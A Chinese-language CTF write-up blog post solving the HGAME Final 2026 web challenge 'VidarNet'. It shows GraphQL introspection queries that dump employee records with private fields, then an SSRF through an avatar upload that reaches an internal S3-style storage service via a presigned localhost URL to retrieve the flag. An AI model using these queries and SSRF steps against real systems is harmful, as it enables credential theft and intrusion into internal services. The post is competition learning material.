Aouos's blog

2026.07.24 · 1 min read

HGAME Final 2026 · WEB VidarNet

Aouos的blog · CTF解题 Updated 2026.07.24

0.前言

我去,deepseek这么厉害,一下就扫出来了,我记得当时线下是可以用AI的,早知道我也去凑个热闹了hhh

这道题其实还挺简单的,主要是目标比较明确吧。

1.信息收集

开局就给了两个

直接访问serve服务是一个登录界面,另一个oss存储访问不了

随便扫了一下发现graphql

2.漏洞利用

然后其实我太了解graphql的查询语句的,然后就去问ds告诉我查询的格式(其实了解了也懒得手打对吗?)

{ __type(name: "Query") { name fields { name } } }
{ employees { __typename } }

然后去拿EmployeeType的所有字段{ __type(name: "EmployeeType") { name fields { name } } }

然后构造查询获取所有的数据信息{ employees { id, name, email, username, private } }

然后去登陆(两个账号都一样没啥区别)

然后我想弄这个内网服务oss已经很久了,现在又拿到了这个账号密码

其实我看到这个更改头像就想着去上传shell去搞这个内网服务,结果测试了一下发现直接可以进行ssrf

1.可能的正常流程(可以跳过hhh

然后感觉本题唯一的难点去构造一下自签名的url吧,不然无法携带账号密码,访问会被拒绝,如下

此时我们去构造自签名的url

http://127.0.0.1:9000/company-assets?list-type=2&encoding-type=url&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=user%2F20260724%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20260724T023508Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=b2b440ae5e67f5ed144c8a9489c293fb07c670a488836d5c81e5932b4b2bfc7e

然后获得一个名为flag.txt的文件

2.这里你可以靠猜测直接拿下flag

这里正常来说flag.txt也应该去构造签名的,但是似乎因为设置问题,不构造签名也能直接获取flag.txt,猜出来的也可以吗hhhhh

获取最终的flag

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注